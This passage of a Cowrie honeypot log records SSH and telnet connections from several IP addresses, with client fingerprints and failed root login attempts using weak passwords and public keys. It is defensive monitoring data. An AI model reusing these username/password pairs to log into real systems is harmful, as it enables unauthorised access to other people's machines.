istp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:09.277137Z","src_ip":"45.156.87.204","session":"d4e8e3fe9f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:09.525043Z","src_ip":"45.156.87.204","session":"d4e8e3fe9f6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57182,"dst_ip":"10.17.0.5","dst_port":23,"session":"394c6b26f6a4","protocol":"telnet","message":"New connection: 152.42.224.71:57182 (10.17.0.5:23) [session: 394c6b26f6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:09.594625Z"}
{"eventid":"cowrie.session.closed","duration":"35.9","message":"Connection lost after 35.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:10.103139Z","src_ip":"47.237.167.49","session":"2469237bae27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:10.769170Z","src_ip":"45.156.87.204","session":"d4e8e3fe9f6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":40516,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcf4054d6b78","protocol":"ssh","message":"New connection: 45.156.87.204:40516 (159.203.135.109:22) [session: dcf4054d6b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:12.704311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:12.709303Z","src_ip":"45.156.87.204","session":"dcf4054d6b78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:12.791648Z","src_ip":"45.156.87.204","session":"dcf4054d6b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:13.158673Z","src_ip":"45.156.87.204","session":"dcf4054d6b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:14.244559Z","src_ip":"45.156.87.204","session":"dcf4054d6b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.91154432296753,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:16.676670Z","src_ip":"152.42.224.71","session":"fe04407c0907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":40524,"dst_ip":"159.203.135.109","dst_port":22,"session":"22d110b36280","protocol":"ssh","message":"New connection: 45.156.87.204:40524 (159.203.135.109:22) [session: 22d110b36280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:16.685863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:16.691126Z","src_ip":"45.156.87.204","session":"22d110b36280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:16.773689Z","src_ip":"45.156.87.204","session":"22d110b36280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:17.023775Z","src_ip":"45.156.87.204","session":"22d110b36280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:18.109858Z","src_ip":"45.156.87.204","session":"22d110b36280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":40528,"dst_ip":"159.203.135.109","dst_port":22,"session":"daab8638d7b1","protocol":"ssh","message":"New connection: 45.156.87.204:40528 (159.203.135.109:22) [session: daab8638d7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:20.285094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:20.289592Z","src_ip":"45.156.87.204","session":"daab8638d7b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:20.375438Z","src_ip":"45.156.87.204","session":"daab8638d7b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:20.624002Z","src_ip":"45.156.87.204","session":"daab8638d7b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.62.239.90","src_port":60648,"dst_ip":"10.17.0.5","dst_port":22,"session":"0508a837992a","protocol":"ssh","message":"New connection: 46.62.239.90:60648 (10.17.0.5:22) [session: 0508a837992a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:21.557180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:21.561481Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:21.672710Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:21.708527Z","src_ip":"45.156.87.204","session":"daab8638d7b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:ed:15:e8:26:82:71:fd:10:e2:20:84:0f:bf:64:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwe9P/3QrznJRV36vDxOHuGh64MCeyWa9SPl2Rz6MXtlEb2sdUAciM8m0CkuYBZOI+75Crf9W8Ct+AmINCraxb8iHxZ30TRDocnJKKI/9PMaIgF9e9E5X++E3RvdFAhp108E8EP+/ktaP6va2a2ZoZZ3OJaUZu2/TYnASjasoCaCgFmxRJ9auFTdLjphzMXnw43KOQWCmVQe8TIajEc1IlABqXC30LDHklx0+9mzhyUddGOlRJyXGBBN0EYvyx72v0Mf2yY9JV1SwhoKn823YHvhyHrx13Bv+wmgfVhMjuZMxobY/Lf1OZkAI37ojzEjKL922WlXOh9+iyw+HMgDYT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:ed:15:e8:26:82:71:fd:10:e2:20:84:0f:bf:64:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.201569Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:ed:15:e8:26:82:71:fd:10:e2:20:84:0f:bf:64:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwe9P/3QrznJRV36vDxOHuGh64MCeyWa9SPl2Rz6MXtlEb2sdUAciM8m0CkuYBZOI+75Crf9W8Ct+AmINCraxb8iHxZ30TRDocnJKKI/9PMaIgF9e9E5X++E3RvdFAhp108E8EP+/ktaP6va2a2ZoZZ3OJaUZu2/TYnASjasoCaCgFmxRJ9auFTdLjphzMXnw43KOQWCmVQe8TIajEc1IlABqXC30LDHklx0+9mzhyUddGOlRJyXGBBN0EYvyx72v0Mf2yY9JV1SwhoKn823YHvhyHrx13Bv+wmgfVhMjuZMxobY/Lf1OZkAI37ojzEjKL922WlXOh9+iyw+HMgDYT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.205567Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:21:28:01:8d:96:e2:b9:c2:e9:ea:2f:c8:b5:db:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDN7WoN0yzs74Fnf38oe4np+idG0YD3R/yfzS0VvLQQmDiePhkiPgUEncVUqzUTaWHZQc3jFYn7rsvgZEWm7PgoADPpJehf5S3PBsH5r6My3EL0+j/+TmqT6i99Zwd1Qwr47toFw0CqO25UPljBHEVZGP/ZtmLx8C0s2lhcw94QWhtQk6dWZq+e5P6i8N+bmiton98rkub8745W2j33BeaidJg/nX1HqUAjZuKKoW0MhZKF0Y4M0OCHm88TXWtLDm1otgrZBTW0PolfN+kGchwM6Jg2TvQDeG099jMUB7VSDXCywNk2rrCaxVlZIwiksKrXo7/xuvXDVm9knca8DkYZjw5k0+D26mgYBh2wMgn4VJgOYL8XLfUOw0R/aMmIA6OJs9XFKUCSAvLX9MqzukrQrU7orjKagTEb2E08dKliykt+18Mie0RSZPMmSaGLhP7ZGHmRiMRbg/OjKfbOqUINKg7f5VFuHZg8Nn3djrS/8mlj0+ItFqMxetW1LjJCN/vmHvnZd1Y7kxYom7hNjZGTEASYSooJ2VJJDjMk8kXW3aJQal2ZEFUBgLBq9d0BxzMOlBFxKPVjUpWtps0a9X6q96SqJAIqJTb+BYuywwtlFd89lUwZ0Zn5mx+5hFoXS3aszF2CeKDIYFLkxlNS6DHUmlyWU0QFwlUKkJz1ywnsdw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:21:28:01:8d:96:e2:b9:c2:e9:ea:2f:c8:b5:db:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.327280Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:21:28:01:8d:96:e2:b9:c2:e9:ea:2f:c8:b5:db:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDN7WoN0yzs74Fnf38oe4np+idG0YD3R/yfzS0VvLQQmDiePhkiPgUEncVUqzUTaWHZQc3jFYn7rsvgZEWm7PgoADPpJehf5S3PBsH5r6My3EL0+j/+TmqT6i99Zwd1Qwr47toFw0CqO25UPljBHEVZGP/ZtmLx8C0s2lhcw94QWhtQk6dWZq+e5P6i8N+bmiton98rkub8745W2j33BeaidJg/nX1HqUAjZuKKoW0MhZKF0Y4M0OCHm88TXWtLDm1otgrZBTW0PolfN+kGchwM6Jg2TvQDeG099jMUB7VSDXCywNk2rrCaxVlZIwiksKrXo7/xuvXDVm9knca8DkYZjw5k0+D26mgYBh2wMgn4VJgOYL8XLfUOw0R/aMmIA6OJs9XFKUCSAvLX9MqzukrQrU7orjKagTEb2E08dKliykt+18Mie0RSZPMmSaGLhP7ZGHmRiMRbg/OjKfbOqUINKg7f5VFuHZg8Nn3djrS/8mlj0+ItFqMxetW1LjJCN/vmHvnZd1Y7kxYom7hNjZGTEASYSooJ2VJJDjMk8kXW3aJQal2ZEFUBgLBq9d0BxzMOlBFxKPVjUpWtps0a9X6q96SqJAIqJTb+BYuywwtlFd89lUwZ0Zn5mx+5hFoXS3aszF2CeKDIYFLkxlNS6DHUmlyWU0QFwlUKkJz1ywnsdw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.330758Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:ea:cb:0b:5b:a1:1a:8e:92:72:65:e8:42:b1:dc:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHiQnSnswQOZNRGh8wJCuU5LCNN9PkQt+Q6uQP+Due973v8bvm+wX9urOGxGW6cdNED1uVQiXtfXdJulTmk8wn1wCAHwd7LBtZVyuXOgxjrf2wybJU/BRbrTrTo3rYDO/htFpusq0aL8tqqNBWb72mXpV9KL/lWabmAUV9SoL//rw8WdWMKaEE9rc/IYvhEWnxm9h9t0nPr89nNWhQNzGux8q6/1IbfYSDfcXqN+6JcFxGPwtmW0n9WBl+UD2OwlEQ7yYOE8+POZJ9mry74P+sXPSD8BVFLn7JaM2eoG+q8Wc2NZI0ydleJUXOZLs3XazfEaLrhWZ70BEhQI8JrIPtUgd0Z17uL65XhpQxbjo7K/UEJlYSCDWVjC2tEUlcARtQR5ViQdS3qj8YUrW1dnBbnsbbKbCreB4Tt3ZmOvKeLTDgeynhoOkNY5afd3lTBevwog3oLwutujr9s24KoaY+hMRv06hDyS+TgVpKFOUmlz9oeczKG7Z7MUpvRr2SEPfipb0jfJTFg1dzl08//4WkkdJ1nSqvQSa2ANZus11SxpZtC1DT56c8/HZWIC9uW+alfmvM5dE4hZXUw7o+G0+mzmchEgeiKYQSO4v3kDPhfRIeno8U01i31n+5c1F6y2bi1wbwvLCkWqtOGwXYTSNTe6/HxwbGDNDUpzXb8lRIrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:ea:cb:0b:5b:a1:1a:8e:92:72:65:e8:42:b1:dc:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.443873Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:ea:cb:0b:5b:a1:1a:8e:92:72:65:e8:42:b1:dc:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHiQnSnswQOZNRGh8wJCuU5LCNN9PkQt+Q6uQP+Due973v8bvm+wX9urOGxGW6cdNED1uVQiXtfXdJulTmk8wn1wCAHwd7LBtZVyuXOgxjrf2wybJU/BRbrTrTo3rYDO/htFpusq0aL8tqqNBWb72mXpV9KL/lWabmAUV9SoL//rw8WdWMKaEE9rc/IYvhEWnxm9h9t0nPr89nNWhQNzGux8q6/1IbfYSDfcXqN+6JcFxGPwtmW0n9WBl+UD2OwlEQ7yYOE8+POZJ9mry74P+sXPSD8BVFLn7JaM2eoG+q8Wc2NZI0ydleJUXOZLs3XazfEaLrhWZ70BEhQI8JrIPtUgd0Z17uL65XhpQxbjo7K/UEJlYSCDWVjC2tEUlcARtQR5ViQdS3qj8YUrW1dnBbnsbbKbCreB4Tt3ZmOvKeLTDgeynhoOkNY5afd3lTBevwog3oLwutujr9s24KoaY+hMRv06hDyS+TgVpKFOUmlz9oeczKG7Z7MUpvRr2SEPfipb0jfJTFg1dzl08//4WkkdJ1nSqvQSa2ANZus11SxpZtC1DT56c8/HZWIC9uW+alfmvM5dE4hZXUw7o+G0+mzmchEgeiKYQSO4v3kDPhfRIeno8U01i31n+5c1F6y2bi1wbwvLCkWqtOGwXYTSNTe6/HxwbGDNDUpzXb8lRIrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.447643Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:64:1a:e2:39:59:a7:67:e4:86:80:ac:06:ef:0c:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuxVciaCIXtDEN196d7zaL1SrMqC7ibjDOWeKtGx+JMZ6xUXufccA4LmW5Qj0utrCvkalSgJJfq0xELicHOWnB/V4+/TQnzO83OMwuS2mHR2i3o6IHnvOE1Vg+TUCX4LQ/vjQHeVmOSA41Fe6scAOgCw1CLNK/nIPMF5KB98GdQDHRC1qwti10aZ7K0P9zai5fr2OcmdeqjYc7CXsZieoRf7wsJcSt8Q8tgboJ3my9IasTqnJP7P2O6taHJerOepJ734zHpVUeSyDd3kwZMhWVTr6XtI/gqe5DHx04nHuHFGrS88O6+dFoTX/m+RfnaiDPpQNOoOPAOF9oOGaZQKZqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:64:1a:e2:39:59:a7:67:e4:86:80:ac:06:ef:0c:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.559323Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:64:1a:e2:39:59:a7:67:e4:86:80:ac:06:ef:0c:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuxVciaCIXtDEN196d7zaL1SrMqC7ibjDOWeKtGx+JMZ6xUXufccA4LmW5Qj0utrCvkalSgJJfq0xELicHOWnB/V4+/TQnzO83OMwuS2mHR2i3o6IHnvOE1Vg+TUCX4LQ/vjQHeVmOSA41Fe6scAOgCw1CLNK/nIPMF5KB98GdQDHRC1qwti10aZ7K0P9zai5fr2OcmdeqjYc7CXsZieoRf7wsJcSt8Q8tgboJ3my9IasTqnJP7P2O6taHJerOepJ734zHpVUeSyDd3kwZMhWVTr6XtI/gqe5DHx04nHuHFGrS88O6+dFoTX/m+RfnaiDPpQNOoOPAOF9oOGaZQKZqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:50:22.562940Z","src_ip":"46.62.239.90","session":"0508a837992a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:c2:95:a5:1c:04:b8:14:b0:34:ed:53:13:6a:03:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9cbNHo/3OPcVHKMdOY4UGJZuhK381XGi7VNUJJ630ECcvaum2Et3R9/EWY6WgBYdL1AT1BTQtgY5qNCdhzRLo0jJJyn14Jz1Z52QKHO9PyGW43gYdwpC5LnkGzl6OUmITijNSQvx8XakiD9JqWvA+nAXSIY/0ceeQdLuAm/DGqk+ZDuhw/N83nUwTce18TM5ko2AUPKQORDnpjGLuYTvqzlTT6j3DuVw8DZNLQ0rdbvQ/wzUt98wufSDKs8sBTlMFF9CSgOYaoNaHNSE4J7N/1vCG4jRorObMYujqW16UXWqGSsTejdaLh3tnKE3ouJS5dX4XV+HfIyMPgWF6D8eL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 